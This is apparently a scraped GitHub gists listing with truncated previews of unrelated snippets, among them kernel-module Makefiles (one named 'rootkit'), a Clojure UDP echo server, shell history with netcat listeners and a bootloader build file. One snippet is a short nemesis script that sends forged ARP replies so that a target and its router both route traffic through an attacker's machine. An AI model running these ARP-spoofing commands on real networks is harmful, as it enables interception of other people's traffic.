This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
obj-m += hello-packet.o | |
all: | |
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules | |
clean: | |
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
obj-m += rootkit.o | |
all: | |
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules | |
clean: | |
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(ns echo-server | |
(:import (java.net InetAddress DatagramPacket DatagramSocket))) | |
(def udp-server (ref nil)) | |
(def port 12345) | |
(defn localhost [] (. InetAddress getLocalHost)) | |
(defn message [text] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<style type="text/css"> | |
span.red {color: red;} | |
body {font-family: monospace;} | |
</style> | |
</head> | |
<body> | |
The Tragedie of Hamlet<br> | |
<br> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#export PHONE_MAC=78:d6:f0:62:b3:7f | |
export TARGET_MAC=7c:d1:c3:eb:65:bd | |
export TARGET_IP=10.0.1.8 | |
export ROUTER_IP=10.0.0.1 | |
export ROUTER_MAC=68:05:ca:16:41:5e | |
export ATTACK_MAC=33:97:03:55:b3:7f | |
sudo nemesis arp -v -r -d eth0 -S $ROUTER_IP -D $TARGET_IP -h $ATTACK_MAC -m $TARGET_MAC -H $ATTACK_MAC -M $TARGET_MAC | |
sudo nemesis arp -v -r -d eth0 -S $TARGET_IP -D $ROUTER_IP -h $ATTACK_MAC -m $ROUTER_MAC -H $ATTACK_MAC -M $ROUTER_MAC |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
types_checked = set() | |
remaining_types = set([int, dict, set, buffer, file, type]) | |
# Try to call all the methods on an object x | |
def call_all_methods(x): | |
failures = set(dir(x)) | |
successes = set() | |
results = set() | |
for num_args in [0, 1, 2, 3]: | |
args = range(1, num_args+1) |
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
7912 lsof | |
7913 netstat -a | |
7914 netstat -an | |
7915 netstat -an | more | |
7916 netstat -anu | less | |
7917 ifconfig -a | |
7918 nc -l 12345 | |
7919 tmux -2 | |
7920 nc -l 12345 | |
7921 netstat -anu |
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
myfirst.bin: myfirst.asm | |
nasm -f bin -o myfirst.bin myfirst.asm | |
dd status=noxfer conv=notrunc if=myfirst.bin of=myfirst.flp | |
run: myfirst.bin | |
kvm -fda myfirst.flp | |